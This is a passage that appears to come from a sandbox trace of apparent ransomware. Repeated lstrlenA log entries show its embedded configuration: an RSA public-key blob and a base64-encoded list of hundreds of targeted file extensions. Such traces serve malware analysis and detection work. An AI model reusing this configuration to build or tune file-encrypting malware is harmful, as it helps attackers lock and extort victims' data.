J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA